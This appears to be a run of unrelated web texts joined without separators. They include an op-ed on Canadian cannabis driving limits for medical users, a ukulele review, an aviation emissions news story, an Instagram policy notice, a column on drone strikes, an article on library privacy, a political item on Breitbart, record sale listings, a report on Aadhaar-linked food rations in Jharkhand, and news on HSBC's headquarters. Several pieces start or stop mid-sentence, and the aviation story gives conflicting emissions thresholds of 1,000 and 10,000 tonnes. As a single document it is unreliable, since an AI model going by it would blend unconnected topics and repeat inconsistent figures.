While no one should drive impaired, the proposed changes will serve to disproportionately criminalize the estimated 150,000 individuals who use cannabis legally and regularly for medical reasons, with physician support, across Canada.
That’s why it’s so disappointing that patients and patient advocacy groups, including Canadians for Fair Access to Medical Marijuana, were denied an invitation to express their views at these sessions.
The proposed changes to driving impairment laws will introduce per se limits for cannabis, similar to how we identify those driving under the influence of alcohol. While this may make sense on the surface, the science simply isn’t there when it comes to correlating cannabis use and impairment.
Unlike blood alcohol concentration, which is scientifically linked to levels of impairment, matching impairment to levels of THC – the main psychoactive component in cannabis – is still widely debated.
Determining actual impairment of cognitive, psychomotor and other functions necessary to safely drive is not as simple as measuring the presence of THC in blood. Even more importantly, the effects of THC are different from person-to-person, and THC can remain detectable within a regular user’s blood for days, potentially weeks, after it was last consumed.
It should also be said that authorized medical users are expected to follow advice from health-care providers, including safe-use guidelines, such as waiting at least four-to-six hours after consumption before driving to help eliminate risk of impairment.
However, the government’s proposal, which would set a per se cut-off of 2ng/ml THC at the lower end, would mean patients would have to stop using their medication three-to-seven days (or more) before driving, which has nothing to do with impairment.
For many patients, using medical cannabis isn’t about its psychoactive effects, but rather managing their symptoms with minimal impairment. This presents novel challenges that deserve consideration and a voice when it comes to the practicalities of “impaired” driving laws.
Given this context, do we simply allow the undisputed potential criminalization of responsible medical users without allowing them to participate in this important debate?
Allowing for a diverse and inclusive conversation can assist policy-makers in acknowledging the various experiences and realities of Canadians prescribed medical cannabis.
Without it, overly restrictive and blanket regulation that does not duly consider the most vulnerable, key affected populations will simply lead to ineffective policy and ongoing court challenges.
While the issue is undeniably complex, and medical cannabis authorization is not a licence to drive impaired, at the very least, the justice committee should be allowing for testimony from patients, physicians and scientists on how these laws may affect medical users.
If they use cannabis regularly to manage their symptoms, they will consistently test above the per se limits. This means the proposed bill would disproportionately criminalize a vulnerable and already stigmatized population under a legal system.
After all, the point of regulating cannabis is not to increase harms through laws which may overly criminalize legal medical users, but rather should be focused on undoing many of the harms which, from a medical viewpoint, have contributed to additional barriers in research, accessing medical cannabis and the ongoing stigmatization of medical use.
Jonathan |
also the only instrument to come complete with side fret markers - a nice touch at this price. The Kala also has the darkest and most uniform looking rosewood on the fingerboard.The Kala tuners are the same as the other instruments, but the buttons are stark white and I really think it would do better to use cream buttons like the Ohana if only to mirror the cream edge binding. Otherwise there is on difference between any of the tuners on offer.So those are the key specs.similar in many ways but with some subtle differences. Differences that many players may not even take notice of, but there you go. But the sound was always going to be harder to judge.... And let's remember, that these are all entry level laminate instruments so none are going to set the world on fire in any great way.First off, as I say, all are set up well. All feel the same in the hands on account of the almost identical construction. All feel like sopranos. All are balanced reasonably well and are comfortable to hold. All have similar nut widths and neck profiles.The Ohana defintely has a warmer tone than the others, but seemed to me to be lacking in projection and power a little for my tastes. It's a nice enough tone, and one I actually prefer to the Lanikai in many ways which has more volume but is almost overly bright. For a soprano though, I do like a bit of punch and the Ohana lags behind the others in that regard. A staccato should have a choppy punchy sound for me.As I say, the Lanikai is certainly louder than the Ohana, but overly bright to my ears. Almost a bit too punchy and one dimensional. I could live with that for the projection it offers though.The Kala seems to offer the best of both worlds. It has more projection than the Ohana, but a warmer tone than the Lanikai with it. It's a nicer combination for me and perhaps assisted by that different material on the nut and saddle (as everything else is comparable!). Whatever it is, it was the more pleasing sound for my ears.Of course, there is very little in it, and this is just one persons opinion (albeit one who has played a stupid amount of instruments). For me though, the mix of the tone coupled with extras on the Kala like the nicer binding, the side markers and the nubone saddle and nut mean it has done enough to earn the crown in this shootout. When things are as close as this, I suppose it is the little things that make the difference. I wouldn't overlook the others, and all three are better than the £30 no name cheap instrument you see in the charity shop but the review had to dig deep to look at the differences and the Kala edges it. Whichever of these you choose as a first instrument will be good for you though. Do take a look at the video and let me know your thoughts.A link to my winning choice here - Kala KA-S Ukulele Be sure to check out my other ukulele reviews here! PROSConstructionPriceSlotted bridgeCONSSlightly muted soundNo edge bindingNo side fret markersPROSConstructionPriceCONSRough finishing on fingerboardStark white edge bindingPROSConstructionPriceSide fret markersNubone nut and saddleMost balanced tone of the threeCONSStark white tuner buttonsLooks - 7.5Fit and Finish - 8Sound - 7.5Value for money - 8.5OVERALL - 7.9 out of 10Looks - 7Fit and finish - 7Sound - 8Value for money - 8.5OVERALL - 7.6 out of 10Looks - 8Fit and finish - 8Sound - 8.5Value for money - 8.5OVERALL - 8.3 out of 10Global scheme, agreed to by 191 nations, applies to passenger and cargo flights that generate more than 1,000 tonnes of greenhouse gases annually
The world’s first agreement to curb aviation’s greenhouse gas pollution has been struck by 191 nations in a landmark United Nations accord, although environmental groups have warned the deal doesn’t go far enough.
A meeting of 2,000 delegates at the International Civil Aviation Organization (ICAO), a UN agency, in Montreal has settled upon a global emissions-reduction scheme that will apply to passenger and cargo flights that generate more than 10,000 tonnes of annual greenhouse gases.
The deal, aimed at reducing the growing climate impact of plane travel, follows years of disagreement between nations on how to slow emissions from the sector. Instead of facing a cap or charge on emissions, airlines will be involved in an offsetting scheme whereby forest areas and carbon-reducing activities will be funded, costing about 2% of the industry’s annual revenues. Global aviation emissions in 2020 will be used as a benchmark, with around 80% of emissions above 2020 levels offset until 2035.
The new system will be voluntary until 2027, but dozens of countries, including the world’s two largest emitters, the US and China, have promised to join at its outset in 2020. Campaigners hope that this will spike ambition to make aviation carbon neutral.
Olumuyiwa Bernard Aliu, president of ICAO, said the accord is a “bold decision and an historic moment”. But green groups have complained that the deal will do little to reduce aviation emissions, which account for 1.3% of the global greenhouse gas total today. This share is expected to leap to a quarter of all emissions by 2050 as more and more people opt to take flights. Currently, 10 million people a day are shuttled around the world on planes.
Bill Hemmings, aviation director of green group Transport & Environment, said: “Airline claims that flying will now be green are a myth. Taking a plane is the fastest and cheapest way to fry the planet and this deal won’t reduce demand for jet fuel one drop. Instead offsetting aims to cut emissions in other industries.”
The Paris climate agreement, which set an aspirational target of a 1.5C limit on the global temperature rise compared with pre-industrial times, is mentioned in the agreement’s preamble but was removed from its body, infuriating some environmentalists.
However, the deal does include review periods every three years and it rules out “double counting” of offsets to ensure that forest protection efforts elsewhere aren’t used to negate aircraft emissions.
“It’s a mixed bag really,” said Brad Schallert, deputy director of international climate cooperation at WWF.
“There’s a strong signal in there that you have got to have good carbon credits, not bogus ones. The lack of the Paris text puts more pressure on countries to step up and deliver. As an approach for the long run this won’t work, but luckily we have the review periods.”
Violeta Bulc, European commissioner for transport, said: “This unprecedented agreement opens a new chapter in international aviation, where sustainability finally becomes part of the way we fly. We have now set a process in motion, which will not be reversed. And yet, it is not ‘mission accomplished’.”
Emission reduction pledges made by nations in Paris last year will not, by themselves, meet the deal’s stated goal of avoiding a 1.5C or even 2C limit in temperature rise.
The shortfall means the world is on track for warming of 3C or 4C, which will cause a cascade of problems including extreme weather events, deadly heatwaves, coastal inundation by the rising seas and extinction of many of the world’s animal species.Our community has grown a lot since we wrote our original terms of service. To get things up to date for the millions of people now using Instagram, we’re bringing you new versions of our Privacy Policy and Terms of Service.
Here are a few key updates:
Nothing has changed about your photos’ ownership or who can see them.
Our updated privacy policy helps Instagram function more easily as part of Facebook by being able to share info between the two groups. This means we can do things like fight spam more effectively, detect system and reliability problems more quickly, and build better features for everyone by understanding how Instagram is used.
Our updated terms of service help protect you, and prevent spam and abuse as we grow.
This is just a small preview. Our new Privacy Policy and Terms of Service will be effective on January 16, 2013.
We know these documents are a little dry, but they’re very important. Please take a moment to read through them so you keep feeling comfortable sharing your beautiful photos on Instagram.
Update: Updated Terms of Service Based on Your FeedbackThe revelation that President Barack Obama is personally selecting names for a kill list of suspected al-Qaida terrorists is a striking illustration of what actually occurs behind the White House’s closed doors.
The New York Times revealed Tuesday how the president “has placed himself at the helm of a top secret ‘nominations’ process to designate terrorists for kill or capture, of which the capture part has become largely theoretical.” He insists “on approving every new name on an expanding ‘kill list,’ poring over terrorist suspects’ biographies on what one official calls the macabre ‘baseball cards’ of an unconventional war.”
The Times described how more than 100 members of “the government’s sprawling national security apparatus” meet in a video conference to go over potential nominees for the death list and “recommend to the president who should be the next to die.” The nominations then go to the White House where Obama, guided by his top counterterrorism adviser, John O. Brennan, approves names added to the list.
Brennan, without mentioning the president’s role, had outlined the process in an April 30 speech to the Woodrow Wilson International Center for Scholars, posted on the Lawfare website. Those who make the list, he said, pose “a significant threat to United States interests.” In such cases, he said, stopping them would prevent attacks, and capture is “not feasible.” Each nominee “will go through a careful review and, as appropriate, will be evaluated by the most senior officials in our government for decision.” The most senior, of course, is the president.
The idea of Obama picking out individuals for the death list brings back memories of President Lyndon B. Johnson selecting targets for bombing in Vietnam. So intent was Johnson on micromanaging the war that he lost sight of how the bombing strengthened the will of North Vietnam. Like Johnson, Obama micromanaging the drone attacks, with their killings of noncombatants, may be strengthening our foes.
In his first campaign for the presidency, Obama pledged to pull most troops out of Iraq and concentrate on Afghanistan, capturing or killing Osama bin Laden and defeating al-Qaida. It was his promise to end the Iraq War that got the attention and affection of liberals, who ignored the underplayed but consistent warlike aspects of his foreign policy pitch.
But even those of us who took note of that militaristic strain were surprised by the way Obama eased into the war president’s role so quickly, and with methods that would have sent liberals into fierce protest were it the George W. Bush years.
With drone technology growing more refined and deadly, Obama has dispatched the robotic killers on an increasing number of missions. Two of those assassinated by the machines were Americans — Anwar al-Awlaki, a U.S.-born cleric, and Samir Khan, a U.S. citizen traveling with him. Awlaki, a propagandist who called for more attacks on the United States, had plotted with Umar Farouk Abdulmutallab, the “underwear bomber” whose attack on an airliner bound for Detroit failed.
The Justice Department produced a memo justifying the killing of citizen-terrorists, saying that internal, secret executive branch deliberations satisfied Fifth Amendment requirements for due process. Such reasoning seems to constitute a threat to the freedom and the lives of any American targeted by the government as a terrorist or an accomplice. The Justice Department memo remains secret.
Obama’s drone attacks have also killed innocents, despite his efforts to prevent such deaths. Brennan defended the administration in his speech, saying that government “standards — for identifying a target and avoiding the loss of innocent civilians — exceed what is required as a matter of international law on a typical battlefield.”
But the Times’ story reported that Obama has approved “signature” strikes against training camps and compounds that American security personnel consider controlled by militants. Men loading fertilizer into trucks could be bomb makers, but they could also be farmers, the paper noted. In theory, a broad definition of a potential terrorist could mean attacks on compounds and villages with many fighting-aged men, as a way of eliminating them.
Pre-emptively killing potential fighters was a motive for the Balkans’ ethnic cleansing. We can assume that’s not going on with our government, but we have a right to be certain. With Obama’s secrecy, we’ll never know the criteria he uses for his death lists.
He and the rest of his administration brag about the killing of bin Laden as a justification for these deaths. But that was different. Bin Laden had been the subject of great public discussion for years. He was not some anonymous person put on a death list or an innocent killed in a drone attack.
In this election year, the Times story is probably a plus for Obama and his effort to project a tough image. If the process were put to a vote, most Americans would probably agree with his decisions. But in 1942, most Americans agreed with President Franklin D. Roosevelt when he sent Americans of Japanese descent to prison camps. In the end, the imprisonment, planned in secret and sprung without warning on the victims, stained an otherwise admirable record. The secretive death list may do the same to Obama’s legacy.Colleges share many things on Twitter, but one topic can be risky to broach: the reading habits of library patrons.
Harvard librarians learned that lesson when they set up Twitter feeds broadcasting titles of books being checked out from campus libraries. It seemed harmless enough—a typical tweet read, "Reconstructing American Law by Bruce A. Ackerman," with a link to the book's library catalog entry—but the social-media experiment turned out to be more provocative than library staffers imagined.
Harvard suspended the practice after privacy concerns were raised. Even though the Twitter stream randomized checkout times and did not disclose patrons' identities, the worry was that someone might somehow use other details to identify the borrowers.
The episode points to an emerging tension as libraries embrace digital services. Historically, libraries have been staunch defenders of patrons' privacy. Yet to embrace many aspects of the modern Internet, which has grown more social and personalized, libraries will need to "tap into and encourage increased flows of personal information from their patrons," says the privacy-and-social-media scholar Michael Zimmer.
Millions of people now share what they're reading through social-networking sites like Facebook, or smaller services including Goodreads and LibraryThing. They're accustomed to the personalized recommendations that Amazon provides by tracking customers' buying and browsing habits.
Libraries are following suit. They're beginning to share data to build tools for recommending and discovering books. They're lending e-books, even though Amazon monitors reading on Kindles, and they're enabling reviews and tags in the once-sacred realm of library catalogs.
But as librarians expand digital services, they face "a Faustian bargain," warns Mr. Zimmer, an assistant professor in the School of Information Studies at the University of Wisconsin at Milwaukee. In a forthcoming paper, he writes that librarians may decide that "the benefits of these advanced data-based services outweigh the traditional protection of patron privacy."
That tradition grows out of a core belief: People should be free to explore ideas without the government or anyone else watching.
In the 1970s and 80s, the FBI tried to figure out what some scholars were studying by enticing library clerks to disclose borrowing and reading habits, says Deborah Caldwell-Stone, deputy director of the Office for Intellectual Freedom at the American Library Association. In response, many states passed laws requiring libraries to keep those data private.
It's considered "good practice" to purge the records of who borrowed particular materials, she adds. "The best way to preserve privacy is not to have a record of what somebody read."
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Now the Web has put privacy in flux, and the lines are fuzzy as to what trade-offs libraries should make. When should data be used? When should the information be shielded?
One option is to use systems that allow patrons to opt in to libraries' tracking such activities as their previous checkouts.
"The privacy that libraries traditionally have been preserving is not always valued by their patrons, especially in an age of social networking," says David Weinberger, co-director of the Harvard Library Innovation Lab, which was behind the Twitter experiment.
"We have the staunchest defenders of individual privacy in the nation now engaging a set of users who increasingly default to openness and sharing," he says. "It's going to take a while to work that through."
Other librarians are watching to see how he navigates those changes.
'The New Digital Disorder'
Mr. Weinberger is a well-known Internet thinker, with a Ph.D. in philosophy and an eclectic résumé. In 2000 he helped write a best-selling book, The Cluetrain Manifesto: The End of Business as Usual, which argued that the Web is mostly a "social place," not a publishing platform. Influenced by Cluetrain, Howard Dean's campaign hired Mr. Weinberger as "senior Internet adviser."
In 2007, Mr. Weinberger published a book of particular interest to librarians, Everything Is Miscellaneous: The Power of the New Digital Disorder. The Web upends "the rules of the physical world," where "everything has its place," the book said. Information is now "a social asset and should be made public, for anyone to link, organize, and make more valuable."
Sharing information is one focus of the Library Innovation Lab, which began three years ago as a place to think about the digital future of libraries. Staff members work in the basement of Harvard's law library, sharing space with yellowing legal texts from the Ottoman Empire. Over a lunch of sandwiches and cookies, team members discussed their recent projects—and the privacy constraints they face—with The Chronicle.
One effort, called LibraryCloud, aims to help libraries share a valuable resource: metadata, or information about information. Metadata are important for finding stuff as the amount of information rapidly increases. "The solution to information overload is more information," Mr. Weinberger says.
Metadata might include a book's page count; how often it has been checked out; and how frequently it has been checked out by particular types of people, such as undergraduates or faculty members. (In one novel method for generating metadata, the lab equipped some Harvard libraries with "Awesome Boxes." Someone who checks out an item can return it to the Awesome Box rather than the regular basket, creating a data trail about what library patrons consider great. Items that have been "awesomed" are publicized via Twitter and RSS and may also be built into online book-browsing software in the future.)
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Until now, a lot of metadata have been inaccessible. The idea behind the LibraryCloud software is that, by gathering metadata from different libraries, developers could use them to build new services. Mr. Weinberger calls it "an attempt to make available everything that libraries know."
In another project now being developed, StackLife, Mr. Weinberger's group offers a flavor of how you can use some of what libraries know. StackLife is library-browsing software that guides patrons to relevant works in part by looking at how the university community has used them. Say you're searching for a book. Clicking on it in StackLife displays the volume on a virtual shelf, next to other texts sorted by call number. The software color-codes books by what it calls ShelfRank, a measure of their importance to the community. That's judged by things like how many libraries own the book and how often it's checked out or put on reserve.
The traditional library catalog "doesn't reflect the usage of the community at all," says Kim Dulin, also a co-director of the lab. StackLife changes that. It visually pops out works that are core to their fields, Mr. Weinberger says, showing what members of the Harvard community have "demonstrated through their actions are important."
But, while Amazon tracks your every move, privacy concerns prevent Mr. Weinberger's team from collecting some key data. It doesn't track books borrowed together, for example. You could imagine using such data to suggest other books checked out with a given title. For instance, it could be helpful to know that patrons who checked out Darwin's On the Origin of Species also borrowed a particular book of commentary about it.
So what's the potential danger of data on books checked out together? Mr. Weinberger offers a silly example that makes the general point. Say somebody checks out "How to Blow up Federal Office Buildings," along with a repair manual for 1957 DeSotos. There's only one person on campus who owns that vehicle. "That would be a pretty good indicator that maybe the FBI wants to pay a call," Mr. Weinberger says.
Finding Common Borrowing
A British library project goes further down the recommendation route. At the University of Huddersfield, the library mines historical circulation data to generate an Amazon-style "people who borrowed this book also borrowed these books" catalog feature. The effort dates to 2005, when library staff began thinking about how they might use the two million transaction records in their database. Their recommendations draw on anonymized and aggregated data, says Dave Pattern, library-systems manager.
"We're not interested in what one student borrows—we're interested in finding the common borrowing patterns of lots of students," he says. "In particular, we want to try and ensure that books borrowed for personal reasons would never appear as a recommendation. So we've drawn a line in the sand, and we need to see a specific borrowing pattern repeated by several students before it will appear as a recommendation."
Other libraries are turning to vendors to add some Web 2.0 gloss.
One such company is LibraryThing. Tim Spalding, who had dropped out of a Ph.D. program in Greek and Latin, started LibraryThing in 2005 as a pet project to catalog his books.
To his surprise, it became an online sensation, with 1.5 million members cataloging, discussing, and reviewing their books, too. Academic departments use the site to organize their books. Members have submitted more than 91 million book labels, called tags.
In other words, Mr. Spalding oversees a megarepository of book data. So he started to sell it. Libraries pay his company to enhance their catalogs with Amazon-like book suggestions from the LibraryThing database, plus reviews and tags.
Tags can be useful browsing tools because librarians don't know what books mean to individual readers. And it can take years for categories to make it into the Library of Congress system. Sociobiology, for instance, existed for about a decade before the Library of Congress realized it was a field, says Mr. Spalding.
It was initially seen as "a radical idea," he recalls, "that you would put regular, unwashed people commenting on books in the library catalog, which is the locus of truth and fact." Yet he now has 400 library customers, roughly one-third of them academic libraries.
Libraries that contract with Mr. Spalding's company soup up their catalogs with data largely generated by LibraryThing's ordinary users, not their own patrons. But another vendor arrangement does pay close attention to library users' reading habits, raising further concerns about privacy.
Under a change that began last year, Kindle owners can borrow books from libraries via an e-book distributor called OverDrive, which signed a deal with Amazon to offer the service. But as a result, the American Library Association's Ms. Caldwell-Stone began getting complaints that patrons were receiving marketing messages from Amazon. Those messages would say that a library patron's loan period was about to expire. Would they like to buy the borrowed book, complete with any notations they had made?
"It was clear that they were collecting and keeping a lot more information about individual users and their reading habits than what libraries traditionally do," she says. Amazon requires patrons to log in and is "keeping track of what they read."
Several universities have contracted with OverDrive to offer e-book lending, including Yale University, McGill University, and the University of Pittsburgh. Todd Gilman, Yale's librarian for literature in English, acknowledges that Amazon knows which books library patrons borrow, but he points out that those borrowers already own a Kindle and maintain a relationship with Amazon. The choice is up to them. If patrons have concerns, Mr. Gilman says, "they shouldn't read on devices that require them to log in to third-party vendor Web sites like Amazon."
"It's not like the library is giving out information to anybody," he says.Marion Marechal-Le Pen today declared that she has been hired by Breitbart CEO and Trump campaign chief Steve Bannon as part of the site’s previously announced expansion into France and Germany. Marion is the granddaughter of the Jean-Marie Le Pen, founder of France’s neo-Nazi National Front Party, and the niece of Marine Le Pen, whose chance of ascending to France’s presidency next year have improved since the election of Donald Trump.
Marion, 26, is the youngest person ever elected to the French Parliament, one of two National Front candidates to win seats in 2012. Last month she headlined a massive anti-gay rally in Paris organized by the anti-LGBT hate group La Manif Pour Tous, which called for the next president (possibly, her aunt) to support the repeal of same-sex marriage. Marion also marched in the often violent La Manif Pour Tous rallies during France’s 2013 run up to marriage equality. Those rallies were also supported by multiple nationalist groups including the Civitas Institute, which advocates for France to become a Catholic theocracy.
Earlier this year Marine Le Pen’s second-in-command condemned Paris Pride as “perverse and decadent.” The youth leader for the National Front, whom the French press has dubbed “Petit Putin,” has openly called for France to institute repressive “homosexual propaganda” laws similar to Russia’s. Family patriarch Jean-Marie Le Pen has been convicted multiple times for inciting racial hatred and for denying the Holocaust. In 2014 Jean-Marie horrified France’s media by “joking” about sending his critics, including Madonna, to the gas chamber.
Should Marine Le Pen win next year’s election, Breitbart will have helped install the presidents of both the United States and France and helped promote Britain’s exit from the European Union via their partnership with now-former UKIP leader Nigel Farage.
Now we wait to see which extremist will be tapped to help Breitbart further exploit Germany’s rightward lurch to nationalism. As I noted earlier this week, for nearly a century we’ve worried about European extremists gaining a foothold in the United States. Few imagined that it would be America that would export fascism.Only spun a couple times. Has original plastic sleeve with AcousTech Stickers. Sleeve is super nice but has one corner ding.
Media Condition: Media: Near Mint (NM or M-) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Plays with a slight crackle. Not really noticable over the dynamics. Some light sleeve marks but no feel able scratches.
Media Condition: Media: Very Good (VG) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Near Mint (NM or M-) Sleeve Condition: Sleeve: Near Mint (NM or M-)
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Near Mint (NM or M-) Sleeve Condition: Sleeve: Near Mint (NM or M-)
Untested but box and reel look very nice.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Record is Ex to NM
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Super nice both sleeve and vinyl. Glossy. Has a couple faint sleeve marks.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Untested but box and reel look very nice.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Record is glossy no scratches. Sleeve is nice but top seam is split.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good (VG)
Sleeve is a company sleeve not the original. Record is correct. Glossy VG++ to NM condition.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Glossy but does have some faint marks.
Untested but box and reel look very nice.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Super nice. One owner before me. Only spun a couple times. Sleeved and clean.
Media Condition: Media: Near Mint (NM or M-) Sleeve Condition: Sleeve: Near Mint (NM or M-)
Sealed. Not 100% sure the color but I was told it’s this version.
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Media Condition: Media: Very Good Plus (VG+) Sleeve Condition: Sleeve: Very Good Plus (VG+)
Rated: 4.50 59 59 have 41 41 want $75.00
+ $5.00 shipping $80.00 total
Danny Guglielmi - Adventure In Sound (LP, Album)
Label:Tops Records
Cat#: L1580
Media Condition: Media: Very Good Plus (VG+)
Sleeve Condition: Sleeve: Very Good Plus (VG+)
Almost NM. Super glossy. Has a couple spots from the sleeve that dont affect the sound. Sleeve very nice but two seam splits fixed with tape.
View Release PageThe linking of Aadhaar with the Public Distribution System (PDS) was hailed as a major step to reduce pilferage of entitlements under the National Food Security Act. It is to be kept in mind that this system is especially crucial for low income to poor families across India, which depend on it for survival. The cases below were covered during a survey conducted by Jean Drèze and Reetika Khera, analysing the new Aadhaar linked grain distribution system in eight districts of Jharkhand. Our team covered eight villages across two districts of Jharkhand. Quantity fraud This is a trend common to every village surveyed. The dealers often cut up to 0.5 to 1 kg per ration card in a family. Ration card holders accept the deduction as a form of a "service charge" levied by the PDS dealer for the transportation and unloading expenses supposedly borne by them. However, in most cases the dealers avail of the government's doorstep delivery, incurring zero to minimal cost in the process. It seems the problem is not just prevalent among individual dealers, but also Mahila Mandals, which run the dealerships. "The members of the mandal get proper ration month on month," laments a cardholder of the PDS dealership, Kusum Mahila Mandal, in the village of Kaitha in Ramgarh District.
Saksham Singh In the village of Jhumri, district Koderma, Bhagni Devi complains that the dealer, Nuri Mahila Mandal, deducts up to 3-4kg of grain every month from their monthly entitlement. The family falls under the
On request of anonymity, a PDS dealer in the sample hints that members of the Mahila Mandal collude with the PDS officials in siphoning off grains. "We don't want any trouble as we are poor ourselves, it would be unwise to comment on anything where everyone is involved," says the source. Ration receipts could be valuable proof for the cardholders to safeguard their rights. However, we observed that it's rare for people received transaction receipts. "We do not get any receipts. The receipts are torn by the dealer as soon as they are printed," says a cardholder from Rajabar. In addition, there is little awareness about the benefits of keeping receipts. When dealers were questioned, they refuted these statements, pinning the blame on the cardholders for not keeping the receipts. In sum, Aadhaar linking has been of little success in reducing quantity fraud. In the end, it is the PDS dealer who determines the quantity of grain. Saksham Singh Sarita Devi and her husband, from Rajabar village, relied on the PDS ration for their monthly grains. Saksham Singh A child with his guardian at Munda tola in Rajabar. His father, a widower, works in the city. He and his sister, despite possessing a ration card are unable to draw grain as the machine fails to recognise their fingerprints. Fatima Khatoon, a widow is a resident of Shivpur. She has a family of seven and goes to a nearby town for work. Since the POS machine was introduced, she stopped receiving grains. The only POS-able member was her daughter, who was studying in another city. Her daughter had to be called back to the village, her studies left in a state of limbo, for their family to withdraw their monthly ration. Under the old system, any member of the family could withdraw grain on their behalf. Then there is Jarina Khatoon, in Shivpur, a 60-year-old widow, partially deaf, who lives with her family. The POS-Machine declines her fingerprints and the phone number linked to the account is incorrectly fed. It becomes particularly important to address the issues faced by widows and those who have disabilities.
Aadhaar linking has been of little success in reducing quantity fraud. In the end it is the PDS dealer who determines the quantity of grain. In village Lolo, Ramgarh District, cardholders travel about 7km to another village, Gandke to receive grain from the dealership there (Bishnu Mahila Vikas Sangh). As the dealership was under transition from offline to POS online in the month of May, cardholders failed to receive grain for that month. "We don't know if we will get the carryover grain from May in June. Often the dealer says that only this month's grain is available," says Kiran Devi, one such cardholder. When cardholders are aware of the carryover rule, dealers often cite lack of stock. "If we complain individually, the dealer will single us out. And no one in the village wants to risk complaining to the authorities," says a cardholder. It is also important to know that the dealer is in a position of incredible power, being well connected with the local authorities, for the cardholders. In village Mael, Ramgarh District, there were ration cards on which the dealer had manually struck names, which is illegal. The dealer in question, Naresh Bhagat, also the owner of the gas dealership, provides gas connections to many of these households. On being questioned he feigned ignorance and failed to come up with any plausible explanation. The Aadhaar-based authentication system brings with it a host of such issues.
Saksham Singh Poor quality rice delivered to PDS shops. Quality fraud continues as before.
Dealers' woes The cardholders are not the only ones facing issues. A dealer in Lari Kalan, showed us the picture of rotten rice being delivered to his shop. "Every month close to 30-40kg of rice is lost to due to poor quality. We have to compensate by then deducting ration accordingly," says the dealer.
Bishnu Mahila Vikas Sangh, a dealer in village Gandke, Dist. Ramgarh had transitioned in May from the register system to the new POS machine. However, grain distribution has become incredibly difficult due to poor connectivity. "During grain distribution, I move with a troop of 50-60 cardholders, from mountain to mountain, to get a signal. Wherever I get the signal, I print the receipt and the grain can be collected by them the next day," the dealer says. The new system seems to be full of such issues, with "tower problems" being a major hindrance to distributing grains. Almost all PDS dealers interviewed criticised the new Aadhaar-linked system for causing delays in grain distribution. The dealers also complained about lack of proper training provided. "We were only taught about switching on the machine and switching it off. We had to learn the OTP function ourselves," says Naresh Bhagat, a PDS dealer in Mael. Kusum Mahila Mandal, a PDS dealer in village Kaitha, Ramgarh District, does not distribute grain to people who fail to authenticate their fingerprint. "We don't know how to use the OTP function of the machine, hence we don't give grains through that," says a member of the Mahila Mandal. Almost all PDS dealers interviewed criticised the new Aadhaar-linked system for causing delays in grain distribution. "The government must take action to correct issues of connectivity and authentication. The people due to these reasons are facing a lot of issues," says a PDS dealer from Lari Kalan.
Saksham Singh A PDS shop in Mael, Ramgarh District. Again, it lacks the mandatory display of information outside.
Saksham Singh A PDS shop in Rajabar, Koderma District. PDS shops seldom have all information displayed outside, as is mandated.
Need for Urgent Action
Saksham Singh
The new Aadhaar-linked grain distribution does little to counter issues faced by cardholders. Instead of plugging leaks in the public grain delivery system it has coupled the issues of Aadhaar-linked authentication with the grain distribution. As this article demonstrates, socially disadvantaged people such as widows and the disabled are at a higher risk. Many households are left in the lurch because of their inability to update their phone number in the ration card or link the ration card with Aadhaar cards.Today, every Android phone is a small computer, with internet access, thousands upon thousands of apps available for installation, and much more. With only a phone in your pocket, the possibilities are endless. However, the possibilities of third parties prying into your sensitive data are endless as well when you use an Android device.
In the darker parts of the Internet, many online threats are being born right now. Each is more dangerous than the previous one, and they all seek to steal information and damage your devices. Then, there are companies that wish to harvest your information in order to target you with more relevant ads. And then finally, there are spying agencies that are becoming more and more equipped with info about every one of the citizens that they are supposed to protect.
So, obviously, the situation is not at all bright for Android users. What makes |
announcement as a missed opportunity. We regard (deferred) “concessions” granted by the Chancellor last year on the bank levy as inadequate, and see the burden of lead-regulation by the UK as a high price to pay for a bank seeking to compete effectively in international markets, especially Asia."
There has been speculation over where HSBC might be based in the future ever since the bank announced last April that it had launched a review of its domicile
The lender, which has founded in Hong Kong in 1865, has been headquartered in Britain since its 1992 takeover of Midland Bank. A decision to leave the UK would have dealt a blow to George Osborne, the chancellor.
Photo: Reuters
However, in an announcement that was timed to coincide with the opening of markets in Asia, Mr Gulliver said HSBC's current location “delivers the best of both worlds to our stakeholders”.
He praised the UK's “internationally recognised” regulatory framework and legal system, as well as its workforce.
HSBC’s 20-strong board spent Sunday locked in a meeting in London.
Business leaders and policymakers breathed a sigh of relief at the news. A Treasury spokesman said: “The [board has] looked carefully and dispassionately at the facts and confirmed that the UK is the best place to base a global business.”
Carolyn Fairbairn, director of the Confederation of British Industry, argued that the UK needed to stay competitive on regulation and tax: “Strong banks which can provide the finance businesses need to grow are critical for the British economy.
“We want to have truly global companies, major employers like HSBC, headquartered here.”
HSBC has now ended its practice of reviewing the location of its headquarters every three years; from now on it will only review its domicile if there is a “material change” in circumstances.
Worries that the UK was becoming too hostile a location for banks resulted in HSBC’s initial decision to review its headquarters 10 months ago.
At the time, the lender said it was looking at the “best place” to be based in the light of the “new environment” for banks, and highlighted UK rules for a new “ring-fence” that would split the retail divisions of banks their from investment banking businesses.
"The [board has] looked carefully and dispassionately at the facts and confirmed that the UK is the best place to base a global business." The Treasury
Higher taxes and the threat the British public may vote to leave the European Union were also cited in HSBC’s decision to consider switching domicile.
Since last April, however, the Government has taken steps to moderate its approach to the banking sector.
In particular, the Chancellor has pledged to cut the bank levy, introduced in 2010 in the wake of the financial crisis, which cost HSBC $904m (£633m) in the last financial year.
HSBC and Standard Chartered, which both have considerable overseas operations, suffered disproportionately from the tax which is calculate on global balance sheets.
